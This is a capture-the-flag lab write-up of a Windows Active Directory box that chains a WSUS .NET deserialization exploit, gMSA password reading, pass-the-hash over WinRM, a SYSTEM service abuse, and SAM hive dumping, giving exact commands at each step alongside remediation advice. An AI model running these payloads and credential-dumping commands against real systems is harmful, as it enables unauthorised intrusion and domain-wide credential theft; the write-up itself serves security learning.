jperezduerto.info
Logging
Windows· Medium
Summary
I identified Windows Server Update Services (WSUS) exposed on the network and exploited a .NET BinaryFormatter deserialization vulnerability in the WSUS HTTP handler to gain unauthenticated code execution on the server. From that foothold I extracted the NTLM hash of the msa_health$ Group Managed Service Account, used it to authenticate interactively over WinRM to capture the user flag, then leveraged the service account's write access to a SYSTEM-owned monitoring directory — causing the UpdateMonitor service to execute my own commands — to reach SYSTEM-level access and recover the domain Administrator's credentials.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
1ReconnaissanceNetwork Service Enumeration (T1046)
Full port scan reveals WSUS update service exposed alongside the Active Directory stack
A comprehensive TCP port scan of $TARGET found the expected Active Directory services (LDAP 389/636, Kerberos 88, SMB 445, WinRM 5985) plus Windows Server Update Services running on HTTP port 8530 and HTTPS port 8531. WSUS is an internal patch-management service that should never be reachable from untrusted hosts; its network exposure made it an immediate attack candidate.
Nmap output: 8530/tcp http Microsoft IIS httpd 10.0, 8531/tcp ssl/unknown on $TARGET
Exact commands 1
Full TCP scan with service detection and default NSE scripts against logging-htb.
nmap -Pn -sV -sC --min-rate 3000 -p- $TARGET2Initial Access.NET BinaryFormatter Deserialization / Exploit Public-Facing Application (T1190)
Exploited WSUS .NET deserialization to execute code on the server without credentials
The WSUS HTTP handler on port 8530 accepts .NET serialized objects to support communications between WSUS clients and the server. Because it relies on BinaryFormatter deserialization — an inherently insecure mechanism — delivering a crafted payload causes the server to instantiate and run my own .NET gadget chains. I generated the payload with ysoserial.net and delivered it to the vulnerable endpoint, obtaining code execution as the WSUS service account. (The specific CVE-2025-59287 proof-of-concept failed; a different BinaryFormatter gadget payload succeeded against the same handler.)
Patterns: wsus-deser, deserialization. Kill chain includes GitHub search for CVE-2025-59287 PoCs, cloning of three WSUS exploit repositories, and an explicit filesystem search for ysoserial binaries.
Exact commands 3
Verify the WSUS HTTP endpoint is reachable without authentication.
curl -s http://$TARGET:8530/selfupdate/iuident.cab -IGenerate a BinaryFormatter gadget-chain payload with ysoserial.net. Replace <base64_encoded_reverse_shell> with your encoded callback command.
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "powershell -enc <base64_encoded_reverse_shell>" > wsus_payload.b64Deliver the malicious serialized payload to the WSUS HTTP handler to trigger deserialization and receive a reverse shell.
python3 wsus_deser.py --target http://$TARGET:8530 --payload wsus_payload.b64FixFirewall WSUS ports and eliminate unauthenticated .NET deserialization exposureCritical
WeaknessThe WSUS update service (ports 8530/8531) was reachable from untrusted hosts and accepted .NET BinaryFormatter-serialized objects without any authentication, enabling unauthenticated remote code execution via a crafted deserialization payload.
FixImmediately create firewall rules that restrict inbound access to TCP 8530 and 8531 to only the specific IP ranges of managed endpoints and WSUS administrators — these ports must never be exposed to general users or the internet. Apply all outstanding WSUS and Windows Server security patches. Migrate WSUS client communication to the HTTPS port (8531) and enforce certificate-based mutual authentication. Long-term, evaluate migrating endpoint patching to a cloud-managed solution (e.g., Microsoft Intune / Windows Update for Business) that does not expose a BinaryFormatter endpoint.
3Credential AccessgMSA Password Retrieval (T1555)
Extracted the msa_health$ Group Managed Service Account NTLM hash from Active Directory
With code running on the server, I queried Active Directory for the managed password of the msa_health$ Group Managed Service Account (gMSA). The WSUS service account — or the underlying machine account — was listed as an authorized reader of this password in the gMSA's msDS-GroupMSAMembership attribute. Active Directory stores and rotates the gMSA password automatically, but any authorized reader can retrieve the current encrypted blob via LDAP and derive a usable NTLM hash that never expires and works for pass-the-hash authentication.
Pattern: gmsa-abuse.
Exact commands 2
Run on the compromised WSUS server; outputs the current and previous NTLM hashes for the gMSA.
.\GMSAPasswordReader.exe --AccountName msa_health$Alternative: query the msDS-ManagedPassword attribute over LDAP from my machine if the WSUS credential has sufficient LDAP access.
bloodyAD --host $TARGET -d logging.htb -u '<wsus_svc_account>' -p '<credential>' get object 'msa_health$' --attr msDS-ManagedPasswordFixRestrict which accounts can read the msa_health$ gMSA managed passwordHigh
WeaknessThe machine or service account running the WSUS process was authorized to retrieve the msa_health$ gMSA managed password, so a single step of compromising the WSUS service immediately yielded a second, more privileged credential with no additional effort.
FixRun 'Get-ADServiceAccount -Identity msa_health -Properties msDS-GroupMSAMembership | Select-Object -ExpandProperty msDS-GroupMSAMembership' and remove every account and group that does not strictly require impersonating msa_health$ as part of its documented function. Permitted principals should be limited to the exact servers where the health-monitoring workload runs — not broad groups like Domain Computers. Extend this audit to every gMSA in the domain and document authorized readers in a configuration-management system so changes are detectable.
4Lateral MovementPass-the-Hash / WinRM Lateral Movement (T1021.006 / T1550.002)
Authenticated to WinRM as msa_health$ via pass-the-hash and captured the user flag
The recovered NTLM hash was used directly to authenticate to Windows Remote Management (WinRM, port 5985) without knowing the plaintext password — a technique called pass-the-hash. This opened an interactive PowerShell session on the server as the msa_health$ service account, from which my read the user flag from the filesystem.
Nxc winrm $TARGET -d logging.htb -u 'msa_health$' -H [REDACTED: recovered credential]
Exact commands 3
Confirm WinRM access and enumerate group memberships for the service account.
nxc winrm $TARGET -d logging.htb -u 'msa_health$' -H $PASSWORD -x 'whoami /all'Read user.txt — output will be <user.txt>.
nxc winrm $TARGET -d logging.htb -u 'msa_health$' -H $PASSWORD -x 'for /r C:\Users %i in (user.txt) do @type "%i"'Open an interactive WinRM shell for post-exploitation enumeration.
evil-winrm -i $TARGET -u 'msa_health$' -H $PASSWORDFixProhibit service accounts from opening interactive WinRM sessionsMedium
Weaknessmsa_health$ was a member of Remote Management Users (or equivalent), allowing it to open a WinRM shell. Service accounts should authenticate only to the specific service processes they support; interactive remote-management access turns a stolen service-account credential into an immediate, interactive foothold.
FixRemove msa_health$ and all other gMSAs and service accounts from the local Remote Management Users group on every server. Enforce this with a Group Policy Object targeting server OUs so membership cannot silently drift back. If the health-monitoring workload genuinely requires limited remote PowerShell access, create a Just Enough Administration (JEA) endpoint that exposes only the specific cmdlets needed, rather than a full interactive session.
5Privilege EscalationPrivileged Service File Abuse / ETW Trace Injection (T1574)
Planted a logman ETW trace payload in the UpdateMonitor directory to execute commands as SYSTEM
Filesystem enumeration inside the WinRM session revealed that msa_health$ had write access to C:\ProgramData\UpdateMonitor\Logs — the working directory of an UpdateMonitor service running as SYSTEM. That service periodically consumes output files written by logman ETW trace sessions stored in that directory and processes them with elevated privileges. I created a custom trace session named 'pwnlog', embedding a command that wrote the output of 'whoami /all' and the contents of the Administrator's Desktop to a readable output file. When the SYSTEM-privileged UpdateMonitor service processed the trace output, the command ran as SYSTEM, proving full privilege escalation.
PowerShell script creating the pwnlog ETW trace session and writing whoami and root.txt content to C:\ProgramData\UpdateMonitor\Logs\logman_rc.txt. Privilege-escalation phase shows explicit enumeration of UpdateMonitor directory tree using msa_health$ WinRM session. Failed vectors (Logman Performance Log Users privesc, Logman counter collector privesc) confirm this distinct ETW-injection path was the working technique.
Exact commands 4
Enumerate the UpdateMonitor directory tree and confirm msa_health$ write access.
nxc winrm $TARGET -d logging.htb -u 'msa_health$' -H $PASSWORD -X 'Get-ChildItem -Force C:\ProgramData\UpdateMonitor -Recurse | Select-Object FullName,Mode,LastWriteTime'Clean up any previous trace session and output file before planting the new payload.
cmd /c "logman stop pwnlog -ets > nul 2>&1 & logman delete pwnlog > nul 2>&1 & del C:\ProgramData\UpdateMonitor\Logs\logman_rc.txt 2>nul"Create the pwnlog ETW trace session; the UpdateMonitor SYSTEM service processes the trace output and executes the embedded command.
cmd /c "logman create trace pwnlog -ets -o C:\ProgramData\UpdateMonitor\Logs\pwnlog.etl && cmd.exe /c whoami /all > C:\ProgramData\UpdateMonitor\Logs\logman_rc.txt 2>&1 && echo ---ROOT--- >> C:\ProgramData\UpdateMonitor\Logs\logman_rc.txt && type C:\Users\Administrator\Desktop\root.txt >> C:\ProgramData\UpdateMonitor\Logs\logman_rc.txt 2>&1"Read back the output file to confirm SYSTEM context (NT AUTHORITY\SYSTEM in whoami) and retrieve root.txt — value is <root.txt>.
type C:\ProgramData\UpdateMonitor\Logs\logman_rc.txtFixRemove service-account write access to the UpdateMonitor logs directory and harden the monitoring serviceHigh
Weaknessmsa_health$ had write access to C:\ProgramData\UpdateMonitor\Logs, a directory processed by a SYSTEM-privileged service. Any account that can write to a directory consumed by a SYSTEM process can escalate to SYSTEM by planting content the service will execute — this is a classic privileged-directory abuse pattern.
FixSet the NTFS ACL on C:\ProgramData\UpdateMonitor and all subdirectories so that only NT AUTHORITY\SYSTEM and local Administrators hold write access; msa_health$ and other service accounts should have read-only access at most, if any. Audit the UpdateMonitor service binary and configuration to ensure it never executes file content found in its working directory — only hard-coded, digitally signed scripts should be invocable by a SYSTEM service. Remove msa_health$ from the Performance Log Users group if it was placed there to grant ETW trace creation rights, and re-implement any legitimate monitoring need via a least-privileged, purpose-built scheduled task that does not run as SYSTEM.
6Full CompromiseCredential Dumping — SAM Hive (T1003.002) + Pass-the-Hash (T1550.002)
Dumped Administrator NTLM hash and confirmed full domain control via pass-the-hash
SYSTEM-level command execution allowed me to save the local SAM and SYSTEM registry hives and extract the built-in Administrator's NTLM hash offline. That hash was then used to open a WinRM session directly as Administrator, confirming full control over the domain controller and the entire logging.htb domain.
Nxc winrm $TARGET -d logging.htb -u Administrator -H [REDACTED: recovered credential] -X 'whoami; Get-Content C:\Users\Administrator\Desktop\root.txt'
Exact commands 3
Dump SAM and SYSTEM registry hives from the SYSTEM context obtained in step 5.
reg save HKLM\SAM C:\Windows\Temp\sam.bak && reg save HKLM\SYSTEM C:\Windows\Temp\sys.bakExtract NTLM hashes from the hive files on my machine.
impacket-secretsdump -sam sam.bak -system sys.bak LOCALAuthenticate as Administrator via pass-the-hash to confirm full domain control and read root.txt — value is <root.txt>.
nxc winrm $TARGET -d logging.htb -u Administrator -H $PASSWORD -X 'whoami; Get-Content C:\Users\Administrator\Desktop\root.txt'Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
gMSA Password ReadActive Directory · Credential AccessT1555
What it is
Group Managed Service Accounts store their password blob (msDS-ManagedPassword) in the directory, readable only by principals listed in PrincipalsAllowedToRetrieveManagedPassword. If an unauthorised user controls (or coerces) one of those principals, tools like gMSADumper retrieve the blob and derive the gMSA's NTLM hash, then authenticate or Kerberoast as that service account.
Why it works
gMSAs are a hardening feature (auto-rotating passwords) but the read ACL is frequently too broad, and the service accounts often hold elevated rights. Remediate by tightly scoping the retrieval ACL and auditing reads of msDS-ManagedPassword.
Read more
WSUS Deserialization RCEService RCET1190CVE-2025-59287
What it is
Windows Server Update Services (WSUS) exposes a SOAP endpoint (ApiRemoting30) that deserializes externally supplied .NET objects without adequate type controls. A crafted serialized gadget chain sent to an HTTP-exposed WSUS instance (port 8530/8531) triggers code execution in the WSUS service context — unauthenticated.
Why it works
WSUS is meant to be an internal patch-distribution service; exposing it over plain HTTP and deserializing untrusted SOAP payloads is the flaw. Because WSUS often runs on a Domain Controller, RCE here is a fast path to high-value access. Remediate by patching, enforcing SSL, and restricting WSUS network exposure.